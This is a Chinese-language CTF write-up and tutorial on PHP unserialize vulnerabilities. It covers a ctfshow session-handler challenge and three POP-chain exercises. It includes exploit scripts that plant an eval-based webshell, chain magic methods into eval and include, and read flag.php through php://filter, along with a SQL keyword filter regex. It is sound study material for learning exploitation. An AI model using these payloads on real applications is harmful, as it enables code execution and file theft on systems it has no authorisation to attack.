<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161909474-147408570.png" alt="image-20230226175136672" loading="lazy"></p>
<p><code>访问www.zip</code>文件拿到源码</p>
<ul>
<li>index.php</li>
</ul>
<pre><code class="language-php">&lt;?php
        error_reporting(0);
        session_start();
        //超过5次禁止登陆
        if(isset($_SESSION['limit'])){
                $_SESSION['limti']&gt;5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
                $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
        }else{
               setcookie("limit",base64_encode('1'));
               $_SESSION['limit']= 1;
        }
       
?&gt;
</code></pre>
<ul>
<li>check.php</li>
</ul>
<pre><code class="language-php">&lt;?php

error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=&gt;$_GET['u'],"pass"=&gt;$_GET['pass']);


if($GET){

        $data= $db-&gt;get('admin',
        [        'id',
                'UserName0'
        ],[
                "AND"=&gt;[
                "UserName0[=]"=&gt;$GET['u'],
                "PassWord1[=]"=&gt;$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
                ]
        ]);
        if($data['id']){
                //登陆成功取消次数累计
                $_SESSION['limit']= 0;
                echo json_encode(array("success","msg"=&gt;"欢迎您".$data['UserName0']));
        }else{
                //登陆失败累计次数加1
                $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
                echo json_encode(array("error","msg"=&gt;"登陆失败"));
        }
}


</code></pre>
<ul>
<li>inc.php</li>
</ul>
<pre><code class="language-php">&lt;?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW;
require_once 'CTFSHOW.php';
$db = new CTFSHOW([
    'database_type' =&gt; 'mysql',
    'database_name' =&gt; 'web',
    'server' =&gt; 'localhost',
    'username' =&gt; 'root',
    'password' =&gt; 'root',
    'charset' =&gt; 'utf8',
    'port' =&gt; 3306,
    'prefix' =&gt; '',
    'option' =&gt; [
      PDO::ATTR_CASE =&gt; PDO::CASE_NATURAL
    ]
]);

// sql注入检查
function checkForm($str){
    if(!isset($str)){
      return true;
    }else{
    return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&amp;|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\&lt;|\,|\&gt;|\?/i",$str);
    }
}


class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
      $this-&gt;username = $username;
      $this-&gt;password = $password;
    }
    function setStatus($s){
      $this-&gt;status=$s;
    }
    function __destruct(){
      file_put_contents("log-".$this-&gt;username, "使用".$this-&gt;password."登陆".($this-&gt;status?"成功":"失败")."----".date_create()-&gt;format('Y-m-d H:i:s'));
    }
}

/*生成唯一标志
*标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12)
*/

functionuuid()
{
    $chars = md5(uniqid(mt_rand(), true));
    $uuid = substr ( $chars, 0, 8 ) . '-'
            . substr ( $chars, 8, 4 ) . '-'
            . substr ( $chars, 12, 4 ) . '-'
            . substr ( $chars, 16, 4 ) . '-'
            . substr ( $chars, 20, 12 );
    return $uuid ;
}

</code></pre>
<blockquote>
<p>根据index.php 源码<code>$_SESSION['limti']&gt;5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);</code> 前面的<code>$_SESSION['limiti']</code> 导致后续条件不可能成立,而<code>inc.php</code> 文件里面设定了指定的php解释器为php的<code>里面session_start();</code> 会对session文件进行解析,进行反序列化</p>
</blockquote>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161907159-1677355354.png" alt="image-20230226192653776" loading="lazy"></p>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161905322-373324614.png" alt="image-20230226192118556" loading="lazy"></p>
<ul>
<li>check.php 调用 cookie</li>
</ul>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161903261-1640630147.png" alt="image-20230226192810506" loading="lazy"></p>
<ul>
<li>
<p>inc.php文件</p>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161901378-1175527024.png" alt="image-20230227143927277" loading="lazy"></p>
</li>
<li>
<p>抓取数据包</p>
</li>
</ul>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161859326-993573386.png" alt="image-20230226192236413" loading="lazy"></p>
<p>通过解码发现limit为1</p>
<ul>
<li>EXP</li>
</ul>
<pre><code class="language-php+HTML">&lt;?php
highlight_file(__FILE__);
class User{
    public $username='shell.php';
    public $password = '&lt;?php phpinfo();@eval($_POST["shell"]);?&gt;';

}

echo$a=base64_encode("|".serialize(new User));
echo "log-"."shell.php";


</code></pre>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161857411-237057938.png" alt="image-20230227144300331" loading="lazy"></p>
<p>然后通过抓包修改cookie<code>limit</code>字段</p>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161855601-863461864.png" alt="image-20230227144742440" loading="lazy"></p>
<ul>
<li>修改cookie后</li>
</ul>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161853747-301705189.png" alt="image-20230227144955203" loading="lazy"></p>
<p>写入成功</p>
<p>然后访问inc/inc.php触发条件 在<code>check.php</code>和<code>inc/inc.php</code>页面反序列化的时候|前面的会被看做键名,会对|后面的进行反序列化</p>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161851586-1550573968.png" alt="image-20230227154645754" loading="lazy"></p>
<p><code>ctfshow{1eb5b22f-96d0-45a7-bebe-bec221b32fec}</code></p>
<h3 id="pop链">POP链</h3>
<p>魔术方法运行的先后顺序</p>
<ul>
<li>思路</li>
</ul>
<blockquote>
<p>利用现有的环境,找到一系列的代码或者调用指令,然后构造成一组连续的调用链,然后进行攻击。任何一条链子的构造,我们都要先找到它的头和尾,pop链也不例外,pop链的头部一般是用户能传入参数的地方,而尾部是可以执行我们操作的地方,比如说读写文件,执行命令等等;找到头尾之后,从尾部(我们执行操作的地方)开始,看它在哪个方法中,怎么样可以调用它,一层一层往上倒推,直到推到头部为止,也就是我们传参的地方,一条pop链子就出来了;在ctf中,头部一般都会是GET或者POST传参,然后可能就有一个<code>unserialize</code>直接将我们传入的参数反序列化了,尾部都是拿flag的地方;然后一环连着一环构成pop链</p>
</blockquote>
<h4 id="例题1">例题1</h4>
<blockquote>
<p>有php反序列化漏洞是因为有不安全的魔术方法,魔术方法会自己调用,我们构造恶意的exp就可以来触发他,有时候的漏洞代码不在魔术方法里面,在普通的方法中,我们应该寻找魔术方法是否调用了同名的函数,然后用同名函数名和类的属性和魔术方法联系起来</p>
</blockquote>
<pre><code class="language-php">&lt;?php
class test {
    protected $ClassObj;
    function __construct() {
      $this-&gt;ClassObj = new normal();
    }
    function __destruct() {
      $this-&gt;ClassObj-&gt;action();
    }
}
class normal {
    function action() {
      echo "HelloWorld";
    }
}
class evil {
    private $data;
    function action() {
      eval($this-&gt;data);
    }
}

unserialize($_GET['a']);
?&gt;
</code></pre>
<p>上面代码的危险函数是evil类里面的<code>eval</code> 我们需要把命令写入eval()里面,这里的action()函数有2个我们需要调用的是下面的<code>class evil</code> 这里代码的流程是先有一个<code>test</code> 类然后我们创建对象的时候调用<code>__construct</code> 方法之后会在创建一个新的<code>normal</code> 对象然后就调用了函数<code>action()</code> 输出<code>HelloWorld</code></p>
<p>这里可以先创建一个test类然后利用test类创建一个<code>evil</code> 对象再通过对象写入危险函数</p>
<ul>
<li>EXP</li>
</ul>
<pre><code class="language-php">&lt;?php
highlight_file(__FILE__);
class test {
    protected $ClassObj;
    function __construct() {
      $this-&gt;ClassObj = new evil();
    }
    function __destruct() {
      $this-&gt;ClassObj-&gt;action();
    }
}
class evil {
    private $data='phpinfo();';

}
$b= new test();
echo urlencode(serialize($b));
///http://127.0.0.1/1.php?a=O%3A4%3A%22test%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
</code></pre>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161849317-429561328.png" alt="image-20230228175323438" loading="lazy"></p>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161846987-1023334283.png" alt="image-20230228175346663" loading="lazy"></p>
<h4 id="例题2">例题2</h4>
<pre><code class="language-php+HTML">&lt;?php
highlight_file(__FILE__);
class Hello
{
    public $source;
    public $str;
    public function __construct($name)
    {
      $this-&gt;str=$name;
    }
    public function __destruct()
    {
      $this-&gt;source=$this-&gt;str;
      echo $this-&gt;source;
    }
}
class Show
{
    public $source;
    public $str;
    public function __toString()
    {
      $content = $this-&gt;str['str']-&gt;source;
      return $content;
    }
}

class Uwant
{
    public $params;
    public function __construct(){
      $this-&gt;params='phpinfo();';
    }
    public function __get($key){
      return $this-&gt;getshell($this-&gt;params);
    }
    public function getshell($value)
    {
      eval($this-&gt;params);
    }
}
$a = $_GET['a'];
unserialize($a);
?&gt;
</code></pre>
<ul>
<li>这段代码的含义:</li>
</ul>
<p>通过GET传入a参数<code>--&gt;</code> 对传入的内容进行反序列化<code>--&gt;</code> 分别传入<code>Hello Show Uwant</code> 里面<code>--&gt;</code> 创建<code>Hello</code>类的对象时候调用<code>__construct</code> 方法把传递的参数存在了<code>$str</code>里面在该对象被销毁的时候调用<code>__destruct</code> 方法,并且把<code>$str</code> 的值给到了<code>$source</code>里面并且通过echo输出,然后创建<code>Show</code> 对象会调用<code>__toString</code> 方法返回<code>$str</code>的值<code>str['str']-&gt;source</code> ,创建<code>Uwant</code> 方法的时候调用了<code>__construct</code> 然后把<code>phpinfo();</code> 存入了<code>$params</code> 里面然后访问这个属性时<code>然后get没有$key参数</code> 会调用<code>__get</code> 方法并且调用<code>getshell)()</code> 方法然后把<code>$params</code> 里面的内容写到<code>eval</code>然后输出</p>
<blockquote>
<p>这里需要先把<code>Hello</code>类里面的<code>$this--&gt;str</code>变成对象这样才可以继续让<code>Show </code>里面的类<code>__toString</code> 执行,然后把<code>Show</code>类的<code>$this-&gt;str['str']</code>赋值成对象,来调用<code>Uwant</code>类中的<code>__get()</code></p>
</blockquote>
<ul>
<li>EXP</li>
</ul>
<pre><code class="language-php">&lt;?php
highlight_file(__FILE__);
class Hello
{
        public $source;
        public $str;
}
class Show
{
        public $source;
        public $str;
}
class Uwant
{
        public $params='phpinfo();';
}
$a = new Hello();
$b = new Show();
$c = new Uwant();
$a -&gt; str = $b;
$b -&gt; str['str'] = $c;
echo urlencode(serialize($a));
</code></pre>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161845164-1189624336.png" alt="image-20230228211944062" loading="lazy"></p>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161842981-2107698492.png" alt="image-20230228212008893" loading="lazy"></p>
<h4 id="例题3">例题3</h4>
<p>Ezpop</p>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161841035-1113500398.png" alt="image-20230228212353907" loading="lazy"></p>
<pre><code class="language-php">&lt;?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected$var;
    public function append($value){
      include($value);
    }
    public function __invoke(){
      $this-&gt;append($this-&gt;var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
      $this-&gt;source = $file;
      echo 'Welcome to '.$this-&gt;source."&lt;br&gt;";
    }
    public function __toString(){
      return $this-&gt;str-&gt;source;
    }

    public function __wakeup(){
      if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this-&gt;source)) {
            echo "hacker";
            $this-&gt;source = "index.php";
      }
    }
}

class Test{
    public $p;
    public function __construct(){
      $this-&gt;p = array();
    }

    public function __get($key){
      $function = $this-&gt;p;
      return $function(); //这会直接调用到__invoke
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
</code></pre>
<blockquote>
<p>这里通过get方法传入一个get参数,如果没有传入pop参数然后就调用<code>Show</code>方法 显示源码,这里的思路就是在<code>Modifier</code> 类里面有一个<code>include</code> 函数如果可以调用就可以通过文件包含,包含<code>flag.php</code> 文件然后使用php伪协议就可以获取flag</p>
</blockquote>
<p>有关<code>Test</code>类的魔术方法简介就往__invoke 看</p>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161838193-1750110680.png" alt="image-20230228225846626" loading="lazy"></p>
<p><code>Show</code>类</p>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161835817-1709373705.png" alt="image-20230228230222173" loading="lazy"></p>
<p><code>__wakeup</code> 在反序列化的时候会直接被触发里面的正则匹配了一些敏感的关键词 然后<code>preg_match</code>函数对s ource进行访问会触发<code>__toString</code> 然后这个方法又会访问str里面的source 我们创建一个新的<code>Test</code>类,里面没有source,然后会触发<code>__get()</code> 方法,函数返回的时候我们再创建一个<code>Modifier</code>类 之后又会触发<code>__invoke</code> 方法然后用<code>Modifier</code> 的var读取flag.php</p>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161834018-14060753.png" alt="image-20230301105907755" loading="lazy"></p>
<p><code>头 -&gt; Show::__wakeup() -&gt; Show::__toString() -&gt; Test::__get() -&gt; Modifier::__invoke() -&gt; Modifier::append -&gt; 尾 </code></p>
<ul>
<li>exp</li>
</ul>
<pre><code class="language-php">&lt;?php
class Modifier {
    protected$var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
    public function __construct()
    {
      $this-&gt;str=new Test();
    }
}
class Test{
    public $p;
    public function __get($key)
    {
      $function = $this-&gt;p;
      return $function();
    }

}
$hack=new Show();
$hack-&gt;source=new Show();
$hack-&gt;source-&gt;str-&gt;p=new Modifier();
echo urlencode(serialize($hack));
</code></pre>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161832142-231904518.png" alt="image-20230301121720101" loading="lazy"></p>
<p><code>flag{197b01ca-3562-4896-aedf-812a5686bb24}</code></p><br><br>
来源:https://www.cnblogs.com/superwinner/p/17260940.html
頁: [1]
查看完整版本: PHP的序列化和反序列化入门